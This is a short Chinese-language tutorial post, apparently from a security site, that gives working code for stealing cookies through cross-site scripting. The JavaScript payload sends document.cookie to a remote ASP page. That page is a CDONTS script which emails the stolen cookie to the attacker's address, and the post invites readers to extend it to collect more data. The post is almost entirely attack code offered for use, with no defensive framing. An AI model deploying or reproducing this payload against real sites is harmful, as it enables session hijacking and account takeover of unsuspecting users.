具体看代码吧，比较习惯用php搞，还是弄一份asp的代码好了。
Xss获取cookie的简单示范代码，当然，你可以进行二次加工，获取更多的信息。
js代码：
var xmlHttp;
         try
         {
                   // Firefox, Opera 8.0+, Safari           
                   xmlHttp=new XMLHttpRequest();
         }
         catch (e)
         {
                   //alert(e);
                   // Internet Explorer
                   try
                   {
                            xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
                   }
                   catch (e)
                   {
                   alert("ie"+e);
                            try
                            {
                                     xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
                            }
                            catch (e)
                            {
                                     alert("Your browser does not support AJAX!"+e);
                                     /*return false;*/
                            }
                   }
         }
         alert("sdfsd"+xmlHttp);
         netscape.security.PrivilegeManager.enablePrivilege("UniversalPreferencesRead UniversalPreferencesWrite");
         xmlHttp.open("GET","http://localweb/xss.asp?cookie="+document.cookie,true);
         alert("sdfsd");
         xmlHttp.send(null);
alert("Mail send");
asp发信端：www.2cto.com
 
    Set MyCDONTSMail = CreateObject("CDONTS.NewMail")
 
    MyCDONTSMail.From="xssxss@xssxss.com"
 
    MyCDONTSMail.To="xssxss@xssxss.com"
 
    MyCDONTSMail.Subject="Xss.COM cookie is comming"
 
    MyBody=request("cookie")
 
    MyCDONTSMail.Body= MyBody
 
    MyCDONTSMail.Send
 
    set MyCDONTSMail=nothing
 
< %和% >符号大家自己加，我加上了就显示不出来了。


作者 http://www.xssxss.com/fuck/1003.xss